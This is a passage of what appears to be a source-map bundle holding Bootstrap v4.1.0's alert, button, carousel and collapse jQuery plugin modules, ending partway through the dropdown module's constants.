NAME                = 'alert'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.alert'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const DATA_API_KEY        = '.data-api'\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n\n  const Selector = {\n    DISMISS : '[data-dismiss=\"alert\"]'\n  }\n\n  const Event = {\n    CLOSE          : `close${EVENT_KEY}`,\n    CLOSED         : `closed${EVENT_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    ALERT : 'alert',\n    FADE  : 'fade',\n    SHOW  : 'show'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Alert {\n    constructor(element) {\n      this._element = element\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    // Public\n\n    close(element) {\n      element = element || this._element\n\n      const rootElement = this._getRootElement(element)\n      const customEvent = this._triggerCloseEvent(rootElement)\n\n      if (customEvent.isDefaultPrevented()) {\n        return\n      }\n\n      this._removeElement(rootElement)\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      this._element = null\n    }\n\n    // Private\n\n    _getRootElement(element) {\n      const selector = Util.getSelectorFromElement(element)\n      let parent     = false\n\n      if (selector) {\n        parent = $(selector)[0]\n      }\n\n      if (!parent) {\n        parent = $(element).closest(`.${ClassName.ALERT}`)[0]\n      }\n\n      return parent\n    }\n\n    _triggerCloseEvent(element) {\n      const closeEvent = $.Event(Event.CLOSE)\n\n      $(element).trigger(closeEvent)\n      return closeEvent\n    }\n\n    _removeElement(element) {\n      $(element).removeClass(ClassName.SHOW)\n\n      if (!$(element).hasClass(ClassName.FADE)) {\n        this._destroyElement(element)\n        return\n      }\n\n      const transitionDuration = Util.getTransitionDurationFromElement(element)\n\n      $(element)\n        .one(Util.TRANSITION_END, (event) => this._destroyElement(element, event))\n        .emulateTransitionEnd(transitionDuration)\n    }\n\n    _destroyElement(element) {\n      $(element)\n        .detach()\n        .trigger(Event.CLOSED)\n        .remove()\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        const $element = $(this)\n        let data       = $element.data(DATA_KEY)\n\n        if (!data) {\n          data = new Alert(this)\n          $element.data(DATA_KEY, data)\n        }\n\n        if (config === 'close') {\n          data[config](this)\n        }\n      })\n    }\n\n    static _handleDismiss(alertInstance) {\n      return function (event) {\n        if (event) {\n          event.preventDefault()\n        }\n\n        alertInstance.close(this)\n      }\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(\n    Event.CLICK_DATA_API,\n    Selector.DISMISS,\n    Alert._handleDismiss(new Alert())\n  )\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME]             = Alert._jQueryInterface\n  $.fn[NAME].Constructor = Alert\n  $.fn[NAME].noConflict  = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Alert._jQueryInterface\n  }\n\n  return Alert\n})($)\n\nexport default Alert\n","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): button.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Button = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'button'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.button'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const DATA_API_KEY        = '.data-api'\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n\n  const ClassName = {\n    ACTIVE : 'active',\n    BUTTON : 'btn',\n    FOCUS  : 'focus'\n  }\n\n  const Selector = {\n    DATA_TOGGLE_CARROT : '[data-toggle^=\"button\"]',\n    DATA_TOGGLE        : '[data-toggle=\"buttons\"]',\n    INPUT              : 'input',\n    ACTIVE             : '.active',\n    BUTTON             : '.btn'\n  }\n\n  const Event = {\n    CLICK_DATA_API      : `click${EVENT_KEY}${DATA_API_KEY}`,\n    FOCUS_BLUR_DATA_API : `focus${EVENT_KEY}${DATA_API_KEY} ` +\n                            `blur${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Button {\n    constructor(element) {\n      this._element = element\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    // Public\n\n    toggle() {\n      let triggerChangeEvent = true\n      let addAriaPressed = true\n      const rootElement = $(this._element).closest(\n        Selector.DATA_TOGGLE\n      )[0]\n\n      if (rootElement) {\n        const input = $(this._element).find(Selector.INPUT)[0]\n\n        if (input) {\n          if (input.type === 'radio') {\n            if (input.checked &&\n              $(this._element).hasClass(ClassName.ACTIVE)) {\n              triggerChangeEvent = false\n            } else {\n              const activeElement = $(rootElement).find(Selector.ACTIVE)[0]\n\n              if (activeElement) {\n                $(activeElement).removeClass(ClassName.ACTIVE)\n              }\n            }\n          }\n\n          if (triggerChangeEvent) {\n            if (input.hasAttribute('disabled') ||\n              rootElement.hasAttribute('disabled') ||\n              input.classList.contains('disabled') ||\n              rootElement.classList.contains('disabled')) {\n              return\n            }\n            input.checked = !$(this._element).hasClass(ClassName.ACTIVE)\n            $(input).trigger('change')\n          }\n\n          input.focus()\n          addAriaPressed = false\n        }\n      }\n\n      if (addAriaPressed) {\n        this._element.setAttribute('aria-pressed',\n          !$(this._element).hasClass(ClassName.ACTIVE))\n      }\n\n      if (triggerChangeEvent) {\n        $(this._element).toggleClass(ClassName.ACTIVE)\n      }\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      this._element = null\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n\n        if (!data) {\n          data = new Button(this)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (config === 'toggle') {\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n      event.preventDefault()\n\n      let button = event.target\n\n      if (!$(button).hasClass(ClassName.BUTTON)) {\n        button = $(button).closest(Selector.BUTTON)\n      }\n\n      Button._jQueryInterface.call($(button), 'toggle')\n    })\n    .on(Event.FOCUS_BLUR_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n      const button = $(event.target).closest(Selector.BUTTON)[0]\n      $(button).toggleClass(ClassName.FOCUS, /^focus(in)?$/.test(event.type))\n    })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Button._jQueryInterface\n  $.fn[NAME].Constructor = Button\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Button._jQueryInterface\n  }\n\n  return Button\n})($)\n\nexport default Button\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): carousel.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Carousel = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                   = 'carousel'\n  const VERSION                = '4.1.0'\n  const DATA_KEY               = 'bs.carousel'\n  const EVENT_KEY              = `.${DATA_KEY}`\n  const DATA_API_KEY           = '.data-api'\n  const JQUERY_NO_CONFLICT     = $.fn[NAME]\n  const ARROW_LEFT_KEYCODE     = 37 // KeyboardEvent.which value for left arrow key\n  const ARROW_RIGHT_KEYCODE    = 39 // KeyboardEvent.which value for right arrow key\n  const TOUCHEVENT_COMPAT_WAIT = 500 // Time for mouse compat events to fire after touch\n\n  const Default = {\n    interval : 5000,\n    keyboard : true,\n    slide    : false,\n    pause    : 'hover',\n    wrap     : true\n  }\n\n  const DefaultType = {\n    interval : '(number|boolean)',\n    keyboard : 'boolean',\n    slide    : '(boolean|string)',\n    pause    : '(string|boolean)',\n    wrap     : 'boolean'\n  }\n\n  const Direction = {\n    NEXT     : 'next',\n    PREV     : 'prev',\n    LEFT     : 'left',\n    RIGHT    : 'right'\n  }\n\n  const Event = {\n    SLIDE          : `slide${EVENT_KEY}`,\n    SLID           : `slid${EVENT_KEY}`,\n    KEYDOWN        : `keydown${EVENT_KEY}`,\n    MOUSEENTER     : `mouseenter${EVENT_KEY}`,\n    MOUSELEAVE     : `mouseleave${EVENT_KEY}`,\n    TOUCHEND       : `touchend${EVENT_KEY}`,\n    LOAD_DATA_API  : `load${EVENT_KEY}${DATA_API_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    CAROUSEL : 'carousel',\n    ACTIVE   : 'active',\n    SLIDE    : 'slide',\n    RIGHT    : 'carousel-item-right',\n    LEFT     : 'carousel-item-left',\n    NEXT     : 'carousel-item-next',\n    PREV     : 'carousel-item-prev',\n    ITEM     : 'carousel-item'\n  }\n\n  const Selector = {\n    ACTIVE      : '.active',\n    ACTIVE_ITEM : '.active.carousel-item',\n    ITEM        : '.carousel-item',\n    NEXT_PREV   : '.carousel-item-next, .carousel-item-prev',\n    INDICATORS  : '.carousel-indicators',\n    DATA_SLIDE  : '[data-slide], [data-slide-to]',\n    DATA_RIDE   : '[data-ride=\"carousel\"]'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Carousel {\n    constructor(element, config) {\n      this._items              = null\n      this._interval           = null\n      this._activeElement      = null\n\n      this._isPaused           = false\n      this._isSliding          = false\n\n      this.touchTimeout        = null\n\n      this._config             = this._getConfig(config)\n      this._element            = $(element)[0]\n      this._indicatorsElement  = $(this._element).find(Selector.INDICATORS)[0]\n\n      this._addEventListeners()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    next() {\n      if (!this._isSliding) {\n        this._slide(Direction.NEXT)\n      }\n    }\n\n    nextWhenVisible() {\n      // Don't call next when the page isn't visible\n      // or the carousel or its parent isn't visible\n      if (!document.hidden &&\n        ($(this._element).is(':visible') && $(this._element).css('visibility') !== 'hidden')) {\n        this.next()\n      }\n    }\n\n    prev() {\n      if (!this._isSliding) {\n        this._slide(Direction.PREV)\n      }\n    }\n\n    pause(event) {\n      if (!event) {\n        this._isPaused = true\n      }\n\n      if ($(this._element).find(Selector.NEXT_PREV)[0]) {\n        Util.triggerTransitionEnd(this._element)\n        this.cycle(true)\n      }\n\n      clearInterval(this._interval)\n      this._interval = null\n    }\n\n    cycle(event) {\n      if (!event) {\n        this._isPaused = false\n      }\n\n      if (this._interval) {\n        clearInterval(this._interval)\n        this._interval = null\n      }\n\n      if (this._config.interval && !this._isPaused) {\n        this._interval = setInterval(\n          (document.visibilityState ? this.nextWhenVisible : this.next).bind(this),\n          this._config.interval\n        )\n      }\n    }\n\n    to(index) {\n      this._activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n\n      const activeIndex = this._getItemIndex(this._activeElement)\n\n      if (index > this._items.length - 1 || index < 0) {\n        return\n      }\n\n      if (this._isSliding) {\n        $(this._element).one(Event.SLID, () => this.to(index))\n        return\n      }\n\n      if (activeIndex === index) {\n        this.pause()\n        this.cycle()\n        return\n      }\n\n      const direction = index > activeIndex\n        ? Direction.NEXT\n        : Direction.PREV\n\n      this._slide(direction, this._items[index])\n    }\n\n    dispose() {\n      $(this._element).off(EVENT_KEY)\n      $.removeData(this._element, DATA_KEY)\n\n      this._items             = null\n      this._config            = null\n      this._element           = null\n      this._interval          = null\n      this._isPaused          = null\n      this._isSliding         = null\n      this._activeElement     = null\n      this._indicatorsElement = null\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n      Util.typeCheckConfig(NAME, config, DefaultType)\n      return config\n    }\n\n    _addEventListeners() {\n      if (this._config.keyboard) {\n        $(this._element)\n          .on(Event.KEYDOWN, (event) => this._keydown(event))\n      }\n\n      if (this._config.pause === 'hover') {\n        $(this._element)\n          .on(Event.MOUSEENTER, (event) => this.pause(event))\n          .on(Event.MOUSELEAVE, (event) => this.cycle(event))\n        if ('ontouchstart' in document.documentElement) {\n          // If it's a touch-enabled device, mouseenter/leave are fired as\n          // part of the mouse compatibility events on first tap - the carousel\n          // would stop cycling until user tapped out of it;\n          // here, we listen for touchend, explicitly pause the carousel\n          // (as if it's the second time we tap on it, mouseenter compat event\n          // is NOT fired) and after a timeout (to allow for mouse compatibility\n          // events to fire) we explicitly restart cycling\n          $(this._element).on(Event.TOUCHEND, () => {\n            this.pause()\n            if (this.touchTimeout) {\n              clearTimeout(this.touchTimeout)\n            }\n            this.touchTimeout = setTimeout((event) => this.cycle(event), TOUCHEVENT_COMPAT_WAIT + this._config.interval)\n          })\n        }\n      }\n    }\n\n    _keydown(event) {\n      if (/input|textarea/i.test(event.target.tagName)) {\n        return\n      }\n\n      switch (event.which) {\n        case ARROW_LEFT_KEYCODE:\n          event.preventDefault()\n          this.prev()\n          break\n        case ARROW_RIGHT_KEYCODE:\n          event.preventDefault()\n          this.next()\n          break\n        default:\n      }\n    }\n\n    _getItemIndex(element) {\n      this._items = $.makeArray($(element).parent().find(Selector.ITEM))\n      return this._items.indexOf(element)\n    }\n\n    _getItemByDirection(direction, activeElement) {\n      const isNextDirection = direction === Direction.NEXT\n      const isPrevDirection = direction === Direction.PREV\n      const activeIndex     = this._getItemIndex(activeElement)\n      const lastItemIndex   = this._items.length - 1\n      const isGoingToWrap   = isPrevDirection && activeIndex === 0 ||\n                              isNextDirection && activeIndex === lastItemIndex\n\n      if (isGoingToWrap && !this._config.wrap) {\n        return activeElement\n      }\n\n      const delta     = direction === Direction.PREV ? -1 : 1\n      const itemIndex = (activeIndex + delta) % this._items.length\n\n      return itemIndex === -1\n        ? this._items[this._items.length - 1] : this._items[itemIndex]\n    }\n\n    _triggerSlideEvent(relatedTarget, eventDirectionName) {\n      const targetIndex = this._getItemIndex(relatedTarget)\n      const fromIndex = this._getItemIndex($(this._element).find(Selector.ACTIVE_ITEM)[0])\n      const slideEvent = $.Event(Event.SLIDE, {\n        relatedTarget,\n        direction: eventDirectionName,\n        from: fromIndex,\n        to: targetIndex\n      })\n\n      $(this._element).trigger(slideEvent)\n\n      return slideEvent\n    }\n\n    _setActiveIndicatorElement(element) {\n      if (this._indicatorsElement) {\n        $(this._indicatorsElement)\n          .find(Selector.ACTIVE)\n          .removeClass(ClassName.ACTIVE)\n\n        const nextIndicator = this._indicatorsElement.children[\n          this._getItemIndex(element)\n        ]\n\n        if (nextIndicator) {\n          $(nextIndicator).addClass(ClassName.ACTIVE)\n        }\n      }\n    }\n\n    _slide(direction, element) {\n      const activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n      const activeElementIndex = this._getItemIndex(activeElement)\n      const nextElement   = element || activeElement &&\n        this._getItemByDirection(direction, activeElement)\n      const nextElementIndex = this._getItemIndex(nextElement)\n      const isCycling = Boolean(this._interval)\n\n      let directionalClassName\n      let orderClassName\n      let eventDirectionName\n\n      if (direction === Direction.NEXT) {\n        directionalClassName = ClassName.LEFT\n        orderClassName = ClassName.NEXT\n        eventDirectionName = Direction.LEFT\n      } else {\n        directionalClassName = ClassName.RIGHT\n        orderClassName = ClassName.PREV\n        eventDirectionName = Direction.RIGHT\n      }\n\n      if (nextElement && $(nextElement).hasClass(ClassName.ACTIVE)) {\n        this._isSliding = false\n        return\n      }\n\n      const slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName)\n      if (slideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      if (!activeElement || !nextElement) {\n        // Some weirdness is happening, so we bail\n        return\n      }\n\n      this._isSliding = true\n\n      if (isCycling) {\n        this.pause()\n      }\n\n      this._setActiveIndicatorElement(nextElement)\n\n      const slidEvent = $.Event(Event.SLID, {\n        relatedTarget: nextElement,\n        direction: eventDirectionName,\n        from: activeElementIndex,\n        to: nextElementIndex\n      })\n\n      if ($(this._element).hasClass(ClassName.SLIDE)) {\n        $(nextElement).addClass(orderClassName)\n\n        Util.reflow(nextElement)\n\n        $(activeElement).addClass(directionalClassName)\n        $(nextElement).addClass(directionalClassName)\n\n        const transitionDuration = Util.getTransitionDurationFromElement(activeElement)\n\n        $(activeElement)\n          .one(Util.TRANSITION_END, () => {\n            $(nextElement)\n              .removeClass(`${directionalClassName} ${orderClassName}`)\n              .addClass(ClassName.ACTIVE)\n\n            $(activeElement).removeClass(`${ClassName.ACTIVE} ${orderClassName} ${directionalClassName}`)\n\n            this._isSliding = false\n\n            setTimeout(() => $(this._element).trigger(slidEvent), 0)\n          })\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        $(activeElement).removeClass(ClassName.ACTIVE)\n        $(nextElement).addClass(ClassName.ACTIVE)\n\n        this._isSliding = false\n        $(this._element).trigger(slidEvent)\n      }\n\n      if (isCycling) {\n        this.cycle()\n      }\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        let _config = {\n          ...Default,\n          ...$(this).data()\n        }\n\n        if (typeof config === 'object') {\n          _config = {\n            ..._config,\n            ...config\n          }\n        }\n\n        const action = typeof config === 'string' ? config : _config.slide\n\n        if (!data) {\n          data = new Carousel(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'number') {\n          data.to(config)\n        } else if (typeof action === 'string') {\n          if (typeof data[action] === 'undefined') {\n            throw new TypeError(`No method named \"${action}\"`)\n          }\n          data[action]()\n        } else if (_config.interval) {\n          data.pause()\n          data.cycle()\n        }\n      })\n    }\n\n    static _dataApiClickHandler(event) {\n      const selector = Util.getSelectorFromElement(this)\n\n      if (!selector) {\n        return\n      }\n\n      const target = $(selector)[0]\n\n      if (!target || !$(target).hasClass(ClassName.CAROUSEL)) {\n        return\n      }\n\n      const config = {\n        ...$(target).data(),\n        ...$(this).data()\n      }\n      const slideIndex = this.getAttribute('data-slide-to')\n\n      if (slideIndex) {\n        config.interval = false\n      }\n\n      Carousel._jQueryInterface.call($(target), config)\n\n      if (slideIndex) {\n        $(target).data(DATA_KEY).to(slideIndex)\n      }\n\n      event.preventDefault()\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.CLICK_DATA_API, Selector.DATA_SLIDE, Carousel._dataApiClickHandler)\n\n  $(window).on(Event.LOAD_DATA_API, () => {\n    $(Selector.DATA_RIDE).each(function () {\n      const $carousel = $(this)\n      Carousel._jQueryInterface.call($carousel, $carousel.data())\n    })\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Carousel._jQueryInterface\n  $.fn[NAME].Constructor = Carousel\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Carousel._jQueryInterface\n  }\n\n  return Carousel\n})($)\n\nexport default Carousel\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): collapse.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Collapse = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'collapse'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.collapse'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const DATA_API_KEY        = '.data-api'\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n\n  const Default = {\n    toggle : true,\n    parent : ''\n  }\n\n  const DefaultType = {\n    toggle : 'boolean',\n    parent : '(string|element)'\n  }\n\n  const Event = {\n    SHOW           : `show${EVENT_KEY}`,\n    SHOWN          : `shown${EVENT_KEY}`,\n    HIDE           : `hide${EVENT_KEY}`,\n    HIDDEN         : `hidden${EVENT_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    SHOW       : 'show',\n    COLLAPSE   : 'collapse',\n    COLLAPSING : 'collapsing',\n    COLLAPSED  : 'collapsed'\n  }\n\n  const Dimension = {\n    WIDTH  : 'width',\n    HEIGHT : 'height'\n  }\n\n  const Selector = {\n    ACTIVES     : '.show, .collapsing',\n    DATA_TOGGLE : '[data-toggle=\"collapse\"]'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Collapse {\n    constructor(element, config) {\n      this._isTransitioning = false\n      this._element         = element\n      this._config          = this._getConfig(config)\n      this._triggerArray    = $.makeArray($(\n        `[data-toggle=\"collapse\"][href=\"#${element.id}\"],` +\n        `[data-toggle=\"collapse\"][data-target=\"#${element.id}\"]`\n      ))\n      const tabToggles = $(Selector.DATA_TOGGLE)\n      for (let i = 0; i < tabToggles.length; i++) {\n        const elem = tabToggles[i]\n        const selector = Util.getSelectorFromElement(elem)\n        if (selector !== null && $(selector).filter(element).length > 0) {\n          this._selector = selector\n          this._triggerArray.push(elem)\n        }\n      }\n\n      this._parent = this._config.parent ? this._getParent() : null\n\n      if (!this._config.parent) {\n        this._addAriaAndCollapsedClass(this._element, this._triggerArray)\n      }\n\n      if (this._config.toggle) {\n        this.toggle()\n      }\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    toggle() {\n      if ($(this._element).hasClass(ClassName.SHOW)) {\n        this.hide()\n      } else {\n        this.show()\n      }\n    }\n\n    show() {\n      if (this._isTransitioning ||\n        $(this._element).hasClass(ClassName.SHOW)) {\n        return\n      }\n\n      let actives\n      let activesData\n\n      if (this._parent) {\n        actives = $.makeArray(\n          $(this._parent)\n            .find(Selector.ACTIVES)\n            .filter(`[data-parent=\"${this._config.parent}\"]`)\n        )\n        if (actives.length === 0) {\n          actives = null\n        }\n      }\n\n      if (actives) {\n        activesData = $(actives).not(this._selector).data(DATA_KEY)\n        if (activesData && activesData._isTransitioning) {\n          return\n        }\n      }\n\n      const startEvent = $.Event(Event.SHOW)\n      $(this._element).trigger(startEvent)\n      if (startEvent.isDefaultPrevented()) {\n        return\n      }\n\n      if (actives) {\n        Collapse._jQueryInterface.call($(actives).not(this._selector), 'hide')\n        if (!activesData) {\n          $(actives).data(DATA_KEY, null)\n        }\n      }\n\n      const dimension = this._getDimension()\n\n      $(this._element)\n        .removeClass(ClassName.COLLAPSE)\n        .addClass(ClassName.COLLAPSING)\n\n      this._element.style[dimension] = 0\n\n      if (this._triggerArray.length > 0) {\n        $(this._triggerArray)\n          .removeClass(ClassName.COLLAPSED)\n          .attr('aria-expanded', true)\n      }\n\n      this.setTransitioning(true)\n\n      const complete = () => {\n        $(this._element)\n          .removeClass(ClassName.COLLAPSING)\n          .addClass(ClassName.COLLAPSE)\n          .addClass(ClassName.SHOW)\n\n        this._element.style[dimension] = ''\n\n        this.setTransitioning(false)\n\n        $(this._element).trigger(Event.SHOWN)\n      }\n\n      const capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1)\n      const scrollSize = `scroll${capitalizedDimension}`\n      const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n      $(this._element)\n        .one(Util.TRANSITION_END, complete)\n        .emulateTransitionEnd(transitionDuration)\n\n      this._element.style[dimension] = `${this._element[scrollSize]}px`\n    }\n\n    hide() {\n      if (this._isTransitioning ||\n        !$(this._element).hasClass(ClassName.SHOW)) {\n        return\n      }\n\n      const startEvent = $.Event(Event.HIDE)\n      $(this._element).trigger(startEvent)\n      if (startEvent.isDefaultPrevented()) {\n        return\n      }\n\n      const dimension = this._getDimension()\n\n      this._element.style[dimension] = `${this._element.getBoundingClientRect()[dimension]}px`\n\n      Util.reflow(this._element)\n\n      $(this._element)\n        .addClass(ClassName.COLLAPSING)\n        .removeClass(ClassName.COLLAPSE)\n        .removeClass(ClassName.SHOW)\n\n      if (this._triggerArray.length > 0) {\n        for (let i = 0; i < this._triggerArray.length; i++) {\n          const trigger = this._triggerArray[i]\n          const selector = Util.getSelectorFromElement(trigger)\n          if (selector !== null) {\n            const $elem = $(selector)\n            if (!$elem.hasClass(ClassName.SHOW)) {\n              $(trigger).addClass(ClassName.COLLAPSED)\n                .attr('aria-expanded', false)\n            }\n          }\n        }\n      }\n\n      this.setTransitioning(true)\n\n      const complete = () => {\n        this.setTransitioning(false)\n        $(this._element)\n          .removeClass(ClassName.COLLAPSING)\n          .addClass(ClassName.COLLAPSE)\n          .trigger(Event.HIDDEN)\n      }\n\n      this._element.style[dimension] = ''\n      const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n      $(this._element)\n        .one(Util.TRANSITION_END, complete)\n        .emulateTransitionEnd(transitionDuration)\n    }\n\n    setTransitioning(isTransitioning) {\n      this._isTransitioning = isTransitioning\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n\n      this._config          = null\n      this._parent          = null\n      this._element         = null\n      this._triggerArray    = null\n      this._isTransitioning = null\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n      config.toggle = Boolean(config.toggle) // Coerce string values\n      Util.typeCheckConfig(NAME, config, DefaultType)\n      return config\n    }\n\n    _getDimension() {\n      const hasWidth = $(this._element).hasClass(Dimension.WIDTH)\n      return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT\n    }\n\n    _getParent() {\n      let parent = null\n      if (Util.isElement(this._config.parent)) {\n        parent = this._config.parent\n\n        // It's a jQuery object\n        if (typeof this._config.parent.jquery !== 'undefined') {\n          parent = this._config.parent[0]\n        }\n      } else {\n        parent = $(this._config.parent)[0]\n      }\n\n      const selector =\n        `[data-toggle=\"collapse\"][data-parent=\"${this._config.parent}\"]`\n\n      $(parent).find(selector).each((i, element) => {\n        this._addAriaAndCollapsedClass(\n          Collapse._getTargetFromElement(element),\n          [element]\n        )\n      })\n\n      return parent\n    }\n\n    _addAriaAndCollapsedClass(element, triggerArray) {\n      if (element) {\n        const isOpen = $(element).hasClass(ClassName.SHOW)\n\n        if (triggerArray.length > 0) {\n          $(triggerArray)\n            .toggleClass(ClassName.COLLAPSED, !isOpen)\n            .attr('aria-expanded', isOpen)\n        }\n      }\n    }\n\n    // Static\n\n    static _getTargetFromElement(element) {\n      const selector = Util.getSelectorFromElement(element)\n      return selector ? $(selector)[0] : null\n    }\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        const $this   = $(this)\n        let data      = $this.data(DATA_KEY)\n        const _config = {\n          ...Default,\n          ...$this.data(),\n          ...typeof config === 'object' && config\n        }\n\n        if (!data && _config.toggle && /show|hide/.test(config)) {\n          _config.toggle = false\n        }\n\n        if (!data) {\n          data = new Collapse(this, _config)\n          $this.data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n    // preventDefault only for <a> elements (which change the URL) not inside the collapsible element\n    if (event.currentTarget.tagName === 'A') {\n      event.preventDefault()\n    }\n\n    const $trigger = $(this)\n    const selector = Util.getSelectorFromElement(this)\n    $(selector).each(function () {\n      const $target = $(this)\n      const data    = $target.data(DATA_KEY)\n      const config  = data ? 'toggle' : $trigger.data()\n      Collapse._jQueryInterface.call($target, config)\n    })\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Collapse._jQueryInterface\n  $.fn[NAME].Constructor = Collapse\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Collapse._jQueryInterface\n  }\n\n  return Collapse\n})($)\n\nexport default Collapse\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): dropdown.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Dropdown = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                     = 'dropdown'\n  const VERSION                  = '4.1.0'\n  const DATA_KEY                 = 'bs.dropdown'\n  const EVENT_KEY                = `.${DATA_KEY}`\n  const DATA_API_KEY             = '.data-api'\n  const JQUERY_NO_CONFLICT       = $.fn[NAME]\n  const ESCAPE_KEYCODE           = 27 // KeyboardEvent.which value for Escape (Esc) key\n  const SPACE_KEYCODE            = 32 // KeyboardEvent.which value for space key\n  const TAB_KEYCODE              = 9 // KeyboardEvent.which value for tab key\n  const ARROW_UP_KEYCODE         = 38 // KeyboardEvent.which value for up arrow key\n  const ARROW_DOWN_KEYCODE       = 40 // KeyboardEvent.which value for down arrow key\n  